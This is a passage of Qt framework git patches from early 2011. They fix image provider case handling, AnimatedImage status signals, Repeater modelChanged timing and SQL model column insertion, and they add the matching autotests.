fullDocumentLocation(functionNode->associatedProperty()); - - else if (functionNode->overloadNumber() > 1) - anchorRef = "#" + functionNode->name() - + "-" + QString::number(functionNode->overloadNumber()); - else - anchorRef = "#" + functionNode->name(); - } - - /* - Use node->name() instead of node->fileBase() as - the latter returns the name in lower-case. For - HTML anchors, we need to preserve the case. - */ - break; - case Node::Enum: - anchorRef = "#" + node->name() + "-enum"; - break; - case Node::Typedef: - anchorRef = "#" + node->name() + "-typedef"; - break; - case Node::Property: - anchorRef = "#" + node->name() + "-prop"; - break; - case Node::QmlProperty: - anchorRef = "#" + node->name() + "-prop"; - break; - case Node::QmlSignal: - anchorRef = "#" + node->name() + "-signal"; - break; - case Node::QmlMethod: - anchorRef = "#" + node->name() + "-method"; - break; - case Node::Variable: - anchorRef = "#" + node->name() + "-var"; - break; - case Node::Target: - anchorRef = "#" + Doc::canonicalTitle(node->name()); - break; - case Node::Fake: - { - /* - Use node->fileBase() for fake nodes because they are represented - by pages whose file names are lower-case. - */ - parentName = node->fileBase(); - parentName.replace("/", "-").replace(".", "-"); - parentName += ".html"; - } - break; - default: - break; - } - - // Various objects can be compat (deprecated) or obsolete. - if (node->type() != Node::Class && node->type() != Node::Namespace) { - switch (node->status()) { - case Node::Compat: - parentName.replace(".html", "-qt3.html"); - break; - case Node::Obsolete: - parentName.replace(".html", "-obsolete.html"); - break; - default: - ; - } - } - - return parentName.toLower() + anchorRef; -} - -/*! Construct the full document name for \a node and return the name. */ -- cgit v0.12 From 9f8a181a619649c8a227e92f3d16677f4b7cb30a Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Fri, 4 Feb 2011 14:11:09 +1000 Subject: Clarify case preservation in QDeclarativeImageProviders Task-number: QTBUG-15905 Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativeengine.cpp | 2 +- src/declarative/qml/qdeclarativeimageprovider.cpp | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 890f500..37df226 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -776,7 +776,7 @@ void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativ { Q_D(QDeclarativeEngine); QMutexLocker locker(&d->mutex); - d->imageProviders.insert(providerId, QSharedPointer(provider)); + d->imageProviders.insert(providerId.toLower(), QSharedPointer(provider)); } /*! diff --git a/src/declarative/qml/qdeclarativeimageprovider.cpp b/src/declarative/qml/qdeclarativeimageprovider.cpp index 560077f..f111c20 100644 --- a/src/declarative/qml/qdeclarativeimageprovider.cpp +++ b/src/declarative/qml/qdeclarativeimageprovider.cpp @@ -75,6 +75,16 @@ public: invokes the appropriate image provider according to the providers that have been registered through QDeclarativeEngine::addImageProvider(). + Note that the identifiers are case-insensitive, but the rest of the URL will be passed on with + preserved case. For example, the below snippet would still specify that the image is loaded by the + image provider named "myimageprovider", but it would request a different image than the above snippet + ("Image.png" instead of "image.png"). + \qml + Image { source: "image://MyImageProvider/Image.png" } + \endqml + + If you want the rest of the URL to be case insensitive, you will have to take care + of that yourself inside your image provider. \section2 An example -- cgit v0.12 From 80d0fe9cbd92288a08d5ced8767f1edb651dae37 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Thu, 3 Feb 2011 16:54:13 +1000 Subject: AnimatedImage does not notify on status change. Task-number: QTBUG-16520 Reviewed-by: Michael Brasser --- .../graphicsitems/qdeclarativeanimatedimage.cpp | 22 +++++++++++++++++--- .../graphicsitems/qdeclarativeanimatedimage_p.h | 1 + .../qdeclarativeanimatedimage/data/qtbug-16520.qml | 17 +++++++++++++++ .../tst_qdeclarativeanimatedimage.cpp | 24 ++++++++++++++++++++++ 4 files changed, 61 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp index 27bb6a2..016b87d 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp @@ -221,13 +221,22 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) } d->url = url; + emit sourceChanged(d->url); - if (url.isEmpty()) { + if (isComponentComplete()) + load(); +} + +void QDeclarativeAnimatedImage::load() +{ + Q_D(QDeclarativeAnimatedImage); + + if (d->url.isEmpty()) { delete d->_movie; d->status = Null; } else { #ifndef QT_NO_LOCALFILE_OPTIMIZED_QML - QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url); + QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url); if (!lf.isEmpty()) { //### should be unified with movieRequestFinished d->_movie = new QMovie(lf); @@ -235,6 +244,8 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) qmlInfo(this) << "Error Reading Animated Image File " << d->url.toString(); delete d->_movie; d->_movie = 0; + d->status = Error; + emit statusChanged(d->status); return; } connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), @@ -264,7 +275,6 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) QObject::connect(d->reply, SIGNAL(finished()), this, SLOT(movieRequestFinished())); } - emit statusChanged(d->status); } @@ -294,6 +304,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished() #endif delete d->_movie; d->_movie = 0; + d->status = Error; + emit statusChanged(d->status); return; } connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), @@ -310,6 +322,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished() if(d->paused) d->_movie->setPaused(true); d->setPixmap(d->_movie->currentPixmap()); + d->status = Ready; + emit statusChanged(d->status); } void QDeclarativeAnimatedImage::movieUpdate() @@ -336,6 +350,8 @@ void QDeclarativeAnimatedImage::componentComplete() { Q_D(QDeclarativeAnimatedImage); QDeclarativeItem::componentComplete(); // NOT QDeclarativeImage + if (d->url.isValid()) + load(); if (!d->reply) { setCurrentFrame(d->preset_currentframe); d->preset_currentframe = 0; diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h index e5025bf..e2ed70b 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h @@ -97,6 +97,7 @@ private Q_SLOTS: void playingStatusChanged(); protected: + virtual void load(); void componentComplete(); private: diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml new file mode 100644 index 0000000..cf5b601 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml @@ -0,0 +1,17 @@ +import QtQuick 1.0 + +Rectangle { + width: 500 + height: 500 + + AnimatedImage { + objectName: "anim" + anchors.centerIn: parent + asynchronous: true + opacity: status == AnimatedImage.Ready ? 1 : 0 + + Behavior on opacity { + NumberAnimation { duration: 1000 } + } + } +} diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp index eba4239..104ee15 100644 --- a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp +++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp @@ -75,6 +75,7 @@ private slots: void sourceSize(); void sourceSizeReadOnly(); void invalidSource(); + void qtbug_16520(); private: QPixmap grabScene(QGraphicsScene *scene, int width, int height); @@ -307,6 +308,29 @@ void tst_qdeclarativeanimatedimage::invalidSource() QVERIFY(!anim->isPaused()); QCOMPARE(anim->currentFrame(), 0); QCOMPARE(anim->frameCount(), 0); + QTRY_VERIFY(anim->status() == 3); +} + +void tst_qdeclarativeanimatedimage::qtbug_16520() +{ + TestHTTPServer server(14449); + QVERIFY(server.isValid()); + server.serveDirectory(SRCDIR "/data"); + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug-16520.qml")); + QTRY_VERIFY(component.isReady()); + + QDeclarativeRectangle *root = qobject_cast(component.create()); + QVERIFY(root); + QDeclarativeAnimatedImage *anim = root->findChild("anim"); + + anim->setProperty("source", "http://127.0.0.1:14449/stickman.gif"); + + QTRY_VERIFY(anim->opacity() == 0); + QTRY_VERIFY(anim->opacity() == 1); + + delete anim; } QTEST_MAIN(tst_qdeclarativeanimatedimage) -- cgit v0.12 From a9f1eaa6a368bf7a72b52c428728a3e3e0a76209 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Fri, 4 Feb 2011 10:36:38 +1000 Subject: modelChanged() should not be emitted until view is repopulated Otherwise, itemAt() returns invalid values at the time that modelChanged() is emitted. Task-number: QTBUG-17156 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativerepeater.cpp | 2 +- .../qdeclarativerepeater/data/modelChanged.qml | 26 +++++++++++++++++ .../tst_qdeclarativerepeater.cpp | 33 ++++++++++++++++++++++ 3 files changed, 60 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index 8455513..4d0f34c 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -198,7 +198,6 @@ void QDeclarativeRepeater::setModel(const QVariant &model) */ } d->dataSource = model; - emit modelChanged(); QObject *object = qvariant_cast(model); QDeclarativeVisualModel *vim = 0; if (object && (vim = qobject_cast(object))) { @@ -226,6 +225,7 @@ void QDeclarativeRepeater::setModel(const QVariant &model) */ regenerate(); } + emit modelChanged(); emit countChanged(); } diff --git a/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml new file mode 100644 index 0000000..0b57d50 --- /dev/null +++ b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml @@ -0,0 +1,26 @@ +import QtQuick 1.1 + +Column { + Repeater { + id: repeater + objectName: "repeater" + + property int itemsCount + property variant itemsFound: [] + + delegate: Rectangle { + color: "red" + width: (index+1)*50 + height: 50 + } + + onModelChanged: { + repeater.itemsCount = repeater.count + var items = [] + for (var i=0; icount(), dataA.count()); + for (int i=0; icount(); i++) + QCOMPARE(repeater->itemAt(i), container->childItems().at(i+1)); // +1 to skip first Text object + QSignalSpy modelChangedSpy(repeater, SIGNAL(modelChanged())); QSignalSpy countSpy(repeater, SIGNAL(countChanged())); QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); @@ -547,6 +551,7 @@ void tst_QDeclarativeRepeater::resetModel() ctxt->setContextProperty("testData", dataB); QCOMPARE(repeater->count(), dataB.count()); + QCOMPARE(modelChangedSpy.count(), 1); QCOMPARE(countSpy.count(), 1); QCOMPARE(removedSpy.count(), dataA.count()); QCOMPARE(addedSpy.count(), dataB.count()); @@ -554,6 +559,7 @@ void tst_QDeclarativeRepeater::resetModel() QCOMPARE(addedSpy.at(i).at(0).toInt(), i); QCOMPARE(addedSpy.at(i).at(1).value(), repeater->itemAt(i)); } + modelChangedSpy.clear(); countSpy.clear(); removedSpy.clear(); addedSpy.clear(); @@ -562,6 +568,7 @@ void tst_QDeclarativeRepeater::resetModel() repeater->setModel(dataA); QCOMPARE(repeater->count(), dataA.count()); + QCOMPARE(modelChangedSpy.count(), 1); QCOMPARE(countSpy.count(), 1); QCOMPARE(removedSpy.count(), dataB.count()); QCOMPARE(addedSpy.count(), dataA.count()); @@ -569,6 +576,32 @@ void tst_QDeclarativeRepeater::resetModel() QCOMPARE(addedSpy.at(i).at(0).toInt(), i); QCOMPARE(addedSpy.at(i).at(1).value(), repeater->itemAt(i)); } + + delete canvas; +} + +// QTBUG-17156 +void tst_QDeclarativeRepeater::modelChanged() +{ + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, TEST_FILE("/modelChanged.qml")); + + QDeclarativeItem *rootObject = qobject_cast(component.create()); + QVERIFY(rootObject); + QDeclarativeRepeater *repeater = findItem(rootObject, "repeater"); + QVERIFY(repeater); + + repeater->setModel(4); + QCOMPARE(repeater->count(), 4); + QCOMPARE(repeater->property("itemsCount"), 4); + QCOMPARE(repeater->property("itemsFound").toList().count(), 4); + + repeater->setModel(10); + QCOMPARE(repeater->count(), 10); + QCOMPARE(repeater->property("itemsCount"), 10); + QCOMPARE(repeater->property("itemsFound").toList().count(), 10); + + delete rootObject; } void tst_QDeclarativeRepeater::properties() -- cgit v0.12 From 9c61e9a40e774fe32b16c133a5cdd6b9d9d29d83 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Tue, 2 Nov 2010 12:14:03 +1000 Subject: QSqlTableModel/QSqlQueryModel and insertColumns problem. After inserting a column, fetching data through QSqlTableModel was off by one or more, since it passed the indexInQuery through to QSQM. Also, the headerData would sometimes return a blank string for an inserted column, and sometimes the column number. The autotests have been beefed up a little to check insertRows and insertColumns play nicely. Change-Id: I7399d4c4d94f958884b67ab9b39b5cf2485d8416 Task-number: QTBUG-12626 Reviewed-by: Charles Yin --- src/sql/models/qsqlquerymodel.cpp | 6 +- src/sql/models/qsqltablemodel.cpp | 10 +- tests/auto/qsqldatabase/tst_databases.h | 24 ++++ tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp | 31 ++++- tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp | 166 ++++++++++++++++++++++- 5 files changed, 223 insertions(+), 14 deletions(-) diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp index 8730192..9800e67 100644 --- a/src/sql/models/qsqlquerymodel.cpp +++ b/src/sql/models/qsqlquerymodel.cpp @@ -279,7 +279,11 @@ QVariant QSqlQueryModel::headerData(int section, Qt::Orientation orientation, in val = d->headers.value(section).value(Qt::EditRole); if (val.isValid()) return val; - if (role == Qt::DisplayRole && d->rec.count() > section) + + // See if it's an inserted column (iiq.column() != -1) + QModelIndex dItem = indexInQuery(createIndex(0, section)); + + if (role == Qt::DisplayRole && d->rec.count() > section && dItem.column() != -1) return d->rec.fieldName(section); } return QAbstractItemModel::headerData(section, orientation, role); diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index 3bb46cc..6f9c284 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -423,6 +423,10 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const if (!index.isValid() || (role != Qt::DisplayRole && role != Qt::EditRole)) return QVariant(); + // Problem.. we need to use QSQM::indexInQuery to handle inserted columns + // but inserted rows we need to handle + // and indexInQuery is not virtual (grrr) so any values we pass to QSQM need + // to handle the insertedRows QModelIndex item = indexInQuery(index); switch (d->strategy) { @@ -450,7 +454,9 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const return var; break; } } - return QSqlQueryModel::data(item, role); + + // We need to handle row mapping here, but not column mapping + return QSqlQueryModel::data(index.sibling(item.row(), index.column()), role); } /*! @@ -1225,7 +1231,7 @@ int QSqlTableModel::rowCount(const QModelIndex &parent) const QModelIndex QSqlTableModel::indexInQuery(const QModelIndex &item) const { Q_D(const QSqlTableModel); - const QModelIndex it = QSqlQueryModel::indexInQuery(item); + const QModelIndex it = QSqlQueryModel::indexInQuery(item); // this adjusts columns only if (d->strategy == OnManualSubmit) { int rowOffset = 0; QSqlTableModelPrivate::CacheMap::ConstIterator i = d->cache.constBegin(); diff --git a/tests/auto/qsqldatabase/tst_databases.h b/tests/auto/qsqldatabase/tst_databases.h index 5dcf754..350e0d0 100644 --- a/tests/auto/qsqldatabase/tst_databases.h +++ b/tests/auto/qsqldatabase/tst_databases.h @@ -51,6 +51,7 @@ #include #include #include +#include #include @@ -166,6 +167,29 @@ public: return count; } + int fillTestTableWithStrategies( const QString& driverPrefix = QString() ) const + { + QTest::addColumn( "dbName" ); + QTest::addColumn("submitpolicy_i"); + int count = 0; + + for ( int i = 0; i < dbNames.count(); ++i ) { + QSqlDatabase db = QSqlDatabase::database( dbNames.at( i ) ); + + if ( !db.isValid() ) + continue; + + if ( driverPrefix.isEmpty() || db.driverName().startsWith( driverPrefix ) ) { + QTest::newRow( QString("%1 [field]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnFieldChange; + QTest::newRow( QString("%1 [row]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnRowChange; + QTest::newRow( QString("%1 [manual]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnManualSubmit; + ++count; + } + } + + return count; + } + void addDb( const QString& driver, const QString& dbName, const QString& user = QString(), const QString& passwd = QString(), const QString& host = QString(), int port = -1, const QString params = QString() ) diff --git a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp index 0ca1417..e876764 100644 --- a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp +++ b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp @@ -318,6 +318,11 @@ void tst_QSqlQueryModel::insertColumn() model.setQuery(QSqlQuery("select * from " + qTableName("test", __FILE__), db)); model.fetchMore(); // necessary??? + bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2"); + const QString idColumn(isToUpper ? "ID" : "id"); + const QString nameColumn(isToUpper ? "NAME" : "name"); + const QString titleColumn(isToUpper ? "TITLE" : "title"); + QSignalSpy spy(&model, SIGNAL(columnsInserted(QModelIndex, int, int))); QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); @@ -325,6 +330,11 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); QCOMPARE(model.data(model.index(0, 3)), QVariant()); + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), QString("4")); + QVERIFY(model.insertColumn(1)); QCOMPARE(spy.count(), 1); @@ -344,6 +354,12 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.data(model.index(0, 3)).toInt(), 1); QCOMPARE(model.data(model.index(0, 4)), QVariant()); + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), QString("2")); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), QString("5")); + QVERIFY(!model.insertColumn(-1)); QVERIFY(!model.insertColumn(100)); QVERIFY(!model.insertColumn(1, model.index(1, 1))); @@ -378,14 +394,21 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.indexInQuery(model.index(0, 5)).column(), -1); QCOMPARE(model.indexInQuery(model.index(0, 6)).column(), -1); - bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2"); QCOMPARE(model.record().field(0).name(), QString()); - QCOMPARE(model.record().field(1).name(), isToUpper ? QString("ID") : QString("id")); + QCOMPARE(model.record().field(1).name(), idColumn); QCOMPARE(model.record().field(2).name(), QString()); - QCOMPARE(model.record().field(3).name(), isToUpper ? QString("NAME") : QString("name")); - QCOMPARE(model.record().field(4).name(), isToUpper ? QString("TITLE") : QString("title")); + QCOMPARE(model.record().field(3).name(), nameColumn); + QCOMPARE(model.record().field(4).name(), titleColumn); QCOMPARE(model.record().field(5).name(), QString()); QCOMPARE(model.record().field(6).name(), QString()); + + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), QString("1")); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), QString("3")); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(5, Qt::Horizontal).toString(), QString("6")); + QCOMPARE(model.headerData(6, Qt::Horizontal).toString(), QString("7")); } void tst_QSqlQueryModel::record() diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp index f9fcaf0..1821d9c 100644 --- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp +++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp @@ -78,11 +78,13 @@ private slots: void select_data() { generic_data(); } void select(); + void insertColumns_data() { generic_data_with_strategies(); } + void insertColumns(); void submitAll_data() { generic_data(); } void submitAll(); void setRecord_data() { generic_data(); } void setRecord(); - void insertRow_data() { generic_data(); } + void insertRow_data() { generic_data_with_strategies(); } void insertRow(); void insertRecord_data() { generic_data(); } void insertRecord(); @@ -130,6 +132,7 @@ private slots: void insertBeforeDelete(); private: void generic_data(const QString& engine=QString()); + void generic_data_with_strategies(const QString& engine=QString()); }; tst_QSqlTableModel::tst_QSqlTableModel() @@ -227,7 +230,17 @@ void tst_QSqlTableModel::recreateTestTables() void tst_QSqlTableModel::generic_data(const QString &engine) { if ( dbs.fillTestTable(engine) == 0 ) { - if(engine.isEmpty()) + if (engine.isEmpty()) + QSKIP( "No database drivers are available in this Qt configuration", SkipAll ); + else + QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll ); + } +} + +void tst_QSqlTableModel::generic_data_with_strategies(const QString &engine) +{ + if ( dbs.fillTestTableWithStrategies(engine) == 0 ) { + if (engine.isEmpty()) QSKIP( "No database drivers are available in this Qt configuration", SkipAll ); else QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll ); @@ -289,6 +302,81 @@ void tst_QSqlTableModel::select() QCOMPARE(model.data(model.index(3, 3)), QVariant()); } +void tst_QSqlTableModel::insertColumns() +{ + // Just like the select test, with extra stuff + QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; + QSqlDatabase db = QSqlDatabase::database(dbName); + CHECK_DATABASE(db); + + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(submitpolicy); + + QVERIFY_SQL(model, select()); + + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.columnCount(), 3); + + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 3)), QVariant()); + + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 3)), QVariant()); + + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 3)), QVariant()); + + QCOMPARE(model.data(model.index(3, 0)), QVariant()); + QCOMPARE(model.data(model.index(3, 1)), QVariant()); + QCOMPARE(model.data(model.index(3, 2)), QVariant()); + QCOMPARE(model.data(model.index(3, 3)), QVariant()); + + // Now add a column at 0 and 2 + model.insertColumn(0); + model.insertColumn(2); + + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.columnCount(), 5); + + QCOMPARE(model.data(model.index(0, 0)), QVariant()); + QCOMPARE(model.data(model.index(0, 1)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 2)), QVariant()); + QCOMPARE(model.data(model.index(0, 3)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 4)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 5)), QVariant()); + + QCOMPARE(model.data(model.index(1, 0)), QVariant()); + QCOMPARE(model.data(model.index(1, 1)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 2)), QVariant()); + QCOMPARE(model.data(model.index(1, 3)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 4)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 5)), QVariant()); + + QCOMPARE(model.data(model.index(2, 0)), QVariant()); + QCOMPARE(model.data(model.index(2, 1)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 2)), QVariant()); + QCOMPARE(model.data(model.index(2, 3)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 4)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 5)), QVariant()); + + QCOMPARE(model.data(model.index(3, 0)), QVariant()); + QCOMPARE(model.data(model.index(3, 1)), QVariant()); + QCOMPARE(model.data(model.index(3, 2)), QVariant()); + QCOMPARE(model.data(model.index(3, 3)), QVariant()); + QCOMPARE(model.data(model.index(3, 4)), QVariant()); + QCOMPARE(model.data(model.index(3, 5)), QVariant()); +} + void tst_QSqlTableModel::setRecord() { QFETCH(QString, dbName); @@ -339,26 +427,90 @@ void tst_QSqlTableModel::setRecord() void tst_QSqlTableModel::insertRow() { QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; QSqlDatabase db = QSqlDatabase::database(dbName); CHECK_DATABASE(db); QSqlTableModel model(0, db); - model.setEditStrategy(QSqlTableModel::OnRowChange); + model.setEditStrategy(submitpolicy); model.setTable(test); model.setSort(0, Qt::AscendingOrder); QVERIFY_SQL(model, select()); + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QVERIFY(model.insertRow(2)); + + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 0); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 0); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 3); + QSqlRecord rec = model.record(1); rec.setValue(0, 42); - rec.setValue(1, QString("vohi")); + rec.setValue(1, QString("francis")); + + // FieldChange updates immediately and resorts + // Row/Manual submit does not resort QVERIFY(model.setRecord(2, rec)); - QCOMPARE(model.data(model.index(2, 0)).toInt(), 42); - QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); - QCOMPARE(model.data(model.index(2, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + + // See comment above setRecord + if (submitpolicy == QSqlTableModel::OnFieldChange) { + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 2); + } else { + QCOMPARE(model.data(model.index(2, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 3); + } QVERIFY(model.submitAll()); + + // After the submit we should have the resorted view + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + 